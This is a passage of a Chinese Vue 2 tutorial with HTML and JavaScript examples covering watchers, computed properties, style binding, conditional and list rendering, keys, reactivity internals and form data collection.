      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>天气案例_深度监视</title>
      		<!-- 引入Vue -->
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 
      				深度监视：
      						(1).Vue中的watch默认不监测对象内部值的改变（一层）。
      						(2).配置deep:true可以监测对象内部值改变（多层）。
      				备注：
      						(1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！
      						(2).使用watch时根据数据的具体结构，决定是否采用深度监视。
      		 -->
      		<!-- 准备好一个容器-->
      		<div id="root">
      			<h2>今天天气很{{info}}</h2>
      			<button @click="changeWeather">切换天气</button>
      			<hr/>
      			<h3>a的值是:{{numbers.a}}</h3>
      			<button @click="numbers.a++">点我让a+1</button>
      			<h3>b的值是:{{numbers.b}}</h3>
      			<button @click="numbers.b++">点我让b+1</button>
      			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
      			{{numbers.c.d.e}}
      		</div>
      	</body>

      	<script type="text/javascript">
      		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。
      		
      		const vm = new Vue({
      			el:'#root',
      			data:{
      				isHot:true,
      				numbers:{
      					a:1,
      					b:1,
      					c:{
      						d:{
      							e:100
      						}
      					}
      				}
      			},
      			computed:{
      				info(){
      					return this.isHot ? '炎热' : '凉爽'
      				}
      			},
      			methods: {
      				changeWeather(){
      					this.isHot = !this.isHot
      				}
      			},
      			watch:{
      				isHot:{
      					// immediate:true, //初始化时让handler调用一下
      					//handler什么时候调用？当isHot发生改变时。
      					handler(newValue,oldValue){
      						console.log('isHot被修改了',newValue,oldValue)
      					}
      				},
      				//监视多级结构中某个属性的变化
      				/* 'numbers.a':{
      					handler(){
      						console.log('a被改变了')
      					}
      				} */
      				//监视多级结构中所有属性的变化
      				numbers:{
      					deep:true,
      					handler(){
      						console.log('numbers改变了')
      					}
      				}
      			}
      		})

      	</script>
      </html>

computed和watch之间的区别

  • computed能完成的功能，watch都可以完成。

  • watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作，因为computed是根据函数的返回值来计算值的，而watch不需要返回值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>姓名案例_watch实现</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    				两个重要的小原则：
    							1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象。
    							2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，
    								这样this的指向才是vm或组件实例对象。
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			姓：<input type="text" v-model="firstName"> <br/><br/>
    			名：<input type="text" v-model="lastName"> <br/><br/>
    			全名：<span>{{fullName}}</span> <br/><br/>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

    		const vm = new Vue({
    			el:'#root',
    			data:{
    				firstName:'张',
    				lastName:'三',
    				fullName:'张-三'
    			},
    			watch:{
    				firstName(val){
    					setTimeout(()=>{
    						console.log(this)
    						this.fullName = val + '-' + this.lastName
    					},1000);
    				},
    				lastName(val){
    					this.fullName = this.firstName + '-' + val
    				}
    			}
    		})
    	</script>
    </html>

2.10 绑定样式

  • class样式：

    • 写法：class="xxx"，xxx可以是字符串、对象、数组。
      • 字符串写法适用于：类名不确定，要动态获取。
      • 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。
      • 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

  • style样式：

    • style="{fontSize: xxx}"，其中xxx是动态值。
    • :style="[a,b]"，其中a、b是样式对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.unConfirm1{
				background-color: yellowgreen;
			}
			.unConfirm2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.unConfirm3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name: 'myblog',
				mood:'normal',
				classArr:['unConfirm1','unConfirm2','unConfirm3'],
				classObj:{
					unConfirm1:false,
					unConfirm2:false,
				},
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			methods: {
				changeMood(){
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>
	
</html>

2.11 条件渲染

  • v-if：
    • 写法：
      • v-if="表达式"。
      • v-else-if="表达式"。
      • v-else="表达式"。
    • 适用于切换频率较低的场景。
    • 特点：不展示的DOM元素直接被移除。
    • 注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。
  • v-show：
    • 写法：v-show="表达式"。
    • 适用于：切换频率较高的场景。
    • 特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉，不能与template配合使用。
    • 备注：使用v-if时，元素可能无法获取到，而使用v-show一定可以获取到。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用v-show做条件渲染 -->
			<h2 v-show="false">欢迎来到{{name}}</h2>
			<h2 v-show="1 === 1">欢迎来到{{name}}</h2>

			<!-- 使用v-if做条件渲染 -->
			<h2 v-if="false">欢迎来到{{name}}</h2>
			<h2 v-if="1 === 1">欢迎来到{{name}}</h2>

			<!-- v-else和v-else-if -->
			<div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div>

			<!-- v-if与template的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>{{name}}</h2>
			</template>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'个人博客',
				n:0
			}
		})
	</script>
</html>

2.12 列表

2.12.1 列表渲染

  • v-for指令：

    • 用于展示列表数据。
    • 语法：v-for="(item, index) in xxx"和:key="yyy"。
    • 可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>基本列表</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<!-- 遍历数组 -->
    			<h2>人员列表（遍历数组）</h2>
    			<ul>
    				<li v-for="(p,index) of persons" :key="index">
    					{{p.name}}-{{p.age}}
    				</li>
    			</ul>

    			<!-- 遍历对象 -->
    			<h2>汽车信息（遍历对象）</h2>
    			<ul>
    				<li v-for="(value,k) of car" :key="k">
    					{{k}}-{{value}}
    				</li>
    			</ul>

    			<!-- 遍历字符串 -->
    			<h2>测试遍历字符串（用得少）</h2>
    			<ul>
    				<li v-for="(char,index) of str" :key="index">
    					{{char}}-{{index}}
    				</li>
    			</ul>
    			
    			<!-- 遍历指定次数 -->
    			<h2>测试遍历指定次数（用得少）</h2>
    			<ul>
    				<li v-for="(number,index) of 5" :key="index">
    					{{index}}-{{number}}
    				</li>
    			</ul>
    		</div>

    		<script type="text/javascript">
    			Vue.config.productionTip = false
    			
    			new Vue({
    				el:'#root',
    				data:{
    					persons:[
    						{id:'001',name:'张三',age:18},
    						{id:'002',name:'李四',age:19},
    						{id:'003',name:'王五',age:20}
    					],
    					car:{
    						name:'奥迪A8',
    						price:'70万',
    						color:'黑色'
    					},
    					str:'hello'
    				}
    			})
    		</script>
    </html>

Key的原理

  • 如果for循环的key使用index，如以下例子：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>key的原理</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<!-- 遍历数组 -->
    			<h2>人员列表（遍历数组）</h2>
    			<button @click.once="add">添加一个老刘</button>
    			<ul>
    				<li v-for="(p,index) of persons" :key="index">
    					{{p.name}}-{{p.age}}
    					<input type="text">
    				</li>
    			</ul>
    		</div>

    		<script type="text/javascript">
    			Vue.config.productionTip = false
    			
    			new Vue({
    				el:'#root',
    				data:{
    					persons:[
    						{id:'001',name:'张三',age:18},
    						{id:'002',name:'李四',age:19},
    						{id:'003',name:'王五',age:20}
    					]
    				},
    				methods: {
    					add(){
    						const p = {id:'004',name:'老刘',age:40}
    						this.persons.unshift(p)
    					}
    				},
    			})
    		</script>
    </html>

    会出现以下错误：

    原因如下：

  • 而如果用id作为key则可以避免以上错误，即：

    1639662355485

    实际效果：

    原因是：

  • 而如果key没指定，则vue会默认把index作为key使用，所以也会出现问题。

  • 但使用index作为key时并不是在所有情况下都会出现错误，例如把元素添加到数组末尾则不会出现错误，因为此时不会影响原来的索引。

  • 总结如下：

    • ①虚拟DOM中key的作用：
      • key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】，随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较。
    • ②对比规则：
      • 旧虚拟DOM中找到了与新虚拟DOM相同的key：
        • 若虚拟DOM中内容没变，直接使用之前的真实DOM。
        • 若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
      • 旧虚拟DOM中未找到与新虚拟DOM相同的key：
        • 创建新的真实DOM，随后渲染到到页面。
    • ③用index作为key可能会引发的问题：
      • 若对数据进行逆序添加、逆序删除等破坏顺序操作，会产生没有必要的真实DOM更新，即界面效果没问题，但效率低。
      • 如果结构中还包含输入类的DOM，则会产生错误DOM更新，即界面有问题。
    • ④开发中如何选择key：
      • 最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值。
      • 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

2.12.2 列表过滤

  • 编写以下搜索案例：

    • 使用监视属性实现：

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>列表过滤</title>
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 准备好一个容器-->
      		<div id="root">
      			<h2>人员列表</h2>
      			<input type="text" placeholder="请输入名字" v-model="keyWord">
      			<ul>
      				<li v-for="(p,index) of filPerons" :key="index">
      					{{p.name}}-{{p.age}}-{{p.sex}}
      				</li>
      			</ul>
      		</div>

      		<script type="text/javascript">
      			Vue.config.productionTip = false
      			
      			//用watch实现
      			//#region 
      			new Vue({
      				el:'#root',
      				data:{
      					keyWord:'',
      					persons:[
      						{id:'001',name:'马冬梅',age:19,sex:'女'},
      						{id:'002',name:'周冬雨',age:20,sex:'女'},
      						{id:'003',name:'周杰伦',age:21,sex:'男'},
      						{id:'004',name:'温兆伦',age:22,sex:'男'}
      					],
      					filPerons:[]
      				},
      				watch:{
      					keyWord:{
      						immediate:true,
      						handler(val){
      							this.filPerons = this.persons.filter((p)=>{
      								// str.indexOf('') === 0
      								return p.name.indexOf(val) !== -1
      							})
      						}
      					}
      				}
      			})
      		</script>
      </html>

    • 使用计算属性实现。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>列表过滤</title>
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 准备好一个容器-->
      		<div id="root">
      			<h2>人员列表</h2>
      			<input type="text" placeholder="请输入名字" v-model="keyWord">
      			<ul>
      				<li v-for="(p,index) of filPerons" :key="index">
      					{{p.name}}-{{p.age}}-{{p.sex}}
      				</li>
      			</ul>
      		</div>

      		<script type="text/javascript">
      			Vue.config.productionTip = false
      			
      			//用computed实现
      			new Vue({
      				el:'#root',
      				data:{
      					keyWord:'',
      					persons:[
      						{id:'001',name:'马冬梅',age:19,sex:'女'},
      						{id:'002',name:'周冬雨',age:20,sex:'女'},
      						{id:'003',name:'周杰伦',age:21,sex:'男'},
      						{id:'004',name:'温兆伦',age:22,sex:'男'}
      					]
      				},
      				computed:{
      					filPerons(){
      						return this.persons.filter((p)=>{
      							// str.indexOf('') === 0
      							return p.name.indexOf(this.keyWord) !== -1
      						})
      					}
      				}
      			}) 
      		</script>
      </html>

2.12.3 列表排序

  • 在上方列表过滤的基础上实现排序操作，如下：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>列表排序</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>人员列表</h2>
    			<input type="text" placeholder="请输入名字" v-model="keyWord">
    			<button @click="sortType = 2">年龄升序</button>
    			<button @click="sortType = 1">年龄降序</button>
    			<button @click="sortType = 0">原顺序</button>
    			<ul>
    				<li v-for="(p,index) of filPerons" :key="p.id">
    					{{p.name}}-{{p.age}}-{{p.sex}}
    					<input type="text">
    				</li>
    			</ul>
    		</div>

    		<script type="text/javascript">
    			Vue.config.productionTip = false
    			
    			new Vue({
    				el:'#root',
    				data:{
    					keyWord:'',
    					sortType:0, //0原顺序 1降序 2升序
    					persons:[
    						{id:'001',name:'马冬梅',age:30,sex:'女'},
    						{id:'002',name:'周冬雨',age:31,sex:'女'},
    						{id:'003',name:'周杰伦',age:18,sex:'男'},
    						{id:'004',name:'温兆伦',age:19,sex:'男'}
    					]
    				},
    				computed:{
    					filPerons(){
    						const arr = this.persons.filter((p)=>{
    							return p.name.indexOf(this.keyWord) !== -1
    						})
    						//判断一下是否需要排序
    						if(this.sortType){
    							arr.sort((p1,p2)=>{
    								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
    							})
    						}
    						return arr
    					}
    				}
    			}) 

    		</script>
    </html>

2.12.4 Vue监听原理

2.12.4.1 问题分析

  • 如果不了解Vue监听数据的原理，那么在开发时就有可能出现错误，例如在更新数据可能会出现以下问题：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>更新时的一个问题</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>人员列表</h2>
    			<button @click="updateMei">更新马冬梅的信息</button>
    			<ul>
    				<li v-for="(p,index) of persons" :key="p.id">
    					{{p.name}}-{{p.age}}-{{p.sex}}
    				</li>
    			</ul>
    		</div>

    		<script type="text/javascript">
    			Vue.config.productionTip = false
    			
    			const vm = new Vue({
    				el:'#root',
    				data:{
    					persons:[
    						{id:'001',name:'马冬梅',age:30,sex:'女'},
    						{id:'002',name:'周冬雨',age:31,sex:'女'},
    						{id:'003',name:'周杰伦',age:18,sex:'男'},
    						{id:'004',name:'温兆伦',age:19,sex:'男'}
    					]
    				},
    				methods: {
    					updateMei(){
    						this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
    					}
    				}
    			}) 

    		</script>
    </html>

    发现无论怎么点击按钮，界面上列表的数据没被更新，并且通过vue开发者工具显示的数据也没更新，说明此时替换整个persons[0]对象的操作没被Vue监听到，如下情况：

    实际上而persons[0]的数据已经被修改。

    1639725629745

  • 而如果修改的是对象里某个属性的值，却能被vue监视到，如下代码：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    const vm = new Vue({
        el:'#root',
        data:{
            persons:[
                {id:'001',name:'马冬梅',age:30,sex:'女'},
                {id:'002',name:'周冬雨',age:31,sex:'女'},
                {id:'003',name:'周杰伦',age:18,sex:'男'},
                {id:'004',name:'温兆伦',age:19,sex:'男'}
            ]
        },
        methods: {
            updateMei(){
                this.persons[0].name = '马老师' //奏效
                this.persons[0].age = 50 //奏效
                this.persons[0].sex = '男' //奏效
            }
        }
    })

2.12.4.2 监听对象

用以下例子来解释Vue监听对象的原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
	</head>
	<body>
		<script type="text/javascript" >
			let data = {
				name:'gzmtu',
				address:'guangzhou',
			}
			//创建一个监视的实例对象，用于监视data中属性的变化
			const obs = new Observer(data)		
			console.log(obs)	
			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				keys.forEach((k)=>{
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
						set(val){
							console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
		</script>
	</body>
</html>
1639730904867

Vue.set()方法

  • 此方法可以动态为data中的对象添加属性。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>Vue监测数据改变的原理</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h1>学校信息</h1>
    			<h2>学校名称：{{school.name}}</h2>
    			<h2>学校地址：{{school.address}}</h2>
    			<h2>校长是：{{school.leader}}</h2>
    			<hr/>
    			<h1>学生信息</h1>
    			<button @click="addSex">添加一个性别属性，默认值是男</button>
    			<h2>姓名：{{student.name}}</h2>
    			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
    			<h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2>
    			<h2>朋友们</h2>
    			<ul>
    				<li v-for="(f,index) in student.friends" :key="index">
    					{{f.name}}--{{f.age}}
    				</li>
    			</ul>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false

    		const vm = new Vue({
    			el:'#root',
    			data:{
    				school:{
    					name:'gzmtu',
    					address:'guangzhou',
    				},
    				student:{
    					name:'tom',
    					age:{
    						rAge:40,
    						sAge:29,
    					},
    					friends:[
    						{name:'jerry',age:35},
    						{name:'tony',age:36}
    					]
    				}
    			},
    			methods: {
    				addSex(){
    					// Vue.set(this.student,'sex','男')
    					this.$set(this.student,'sex','男')
    				}
    			}
    		})
    	</script>
    </html>

    以上给data中的对象添加属性是没问题的，但vue不允许给vm直接添加属性，否则报错，例如：

2.12.4.3 监听数组

  • vue不会为数组中的某个元素添加getter和setter，所以当更新数组中的某个元素时，vue无法监听到。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>Vue监测数据改变的原理_数组</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>爱好</h2>
    			<ul>
    				<li v-for="(h,index) in student.hobby" :key="index">
    					{{h}}
    				</li>
    			</ul>
    			<h2>朋友们</h2>
    			<ul>
    				<li v-for="(f,index) in student.friends" :key="index">
    					{{f.name}}--{{f.age}}
    				</li>
    			</ul>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false

    		const vm = new Vue({
    			el:'#root',
    			data:{
    				student:{
    					name:'tom',
    					age:{
    						rAge:40,
    						sAge:29,
    					},
    					hobby:['抽烟','喝酒','烫头'],
    					friends:[
    						{name:'jerry',age:35},
    						{name:'tony',age:36}
    					]
    				}
    			},
    			methods: {
    				addSex(){
    					// Vue.set(this.student,'sex','男')
    					this.$set(this.student,'sex','男')
    				}
    			}
    		})
    	</script>
    </html>
    1639746092128

  • 如果使用数组内置的函数来实现对数组的操作，则可以被vue监听到。

    • 原因是这时的push方法是经过vue包装好的。

      1639746887215

      官网也有提及。

  • 如果使用Vue.set方法也可以被vue监听到。

    1639747162056

2.12.4.4 总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--
			Vue监视数据的原理：
				1. vue会监视data中所有层次的数据。

				2. 如何监测对象中的数据？
								通过setter实现监视，且要在new Vue时就传入要监测的数据。
									(1).对象中后追加的属性，Vue默认不做响应式处理
									(2).如需给后添加的属性做响应式，请使用如下API：
													Vue.set(target，propertyName/index，value) 或 
													vm.$set(target，propertyName/index，value)

				3. 如何监测数组中的数据？
									通过包裹数组更新元素的方法实现，本质就是做了两件事：
										(1).调用原生对应的方法对数组进行更新。
										(2).重新解析模板，进而更新页面。

				4.在Vue修改数组中的某个元素一定要用如下方法：
							1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
							2.Vue.set() 或 vm.$set()
				
				特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性，默认值：男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名：{{student.name}}</h3>
			<h3>年龄：{{student.age}}</h3>
			<h3 v-if="student.sex">性别：{{student.sex}}</h3>
			<h3>爱好：</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们：</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

2.13 收集表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			收集表单数据：
					若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
					若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
					若：<input type="checkbox"/>
							1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
							2.配置input的value属性:
									(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
									(2)v-model的初始值是数组，那么收集的的就是value组成的数组
					备注：v-model的三个修饰符：
									lazy：失去焦点再收集数据
									number：输入字符串转为有效的数字
									trim：输入首尾空格过滤
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
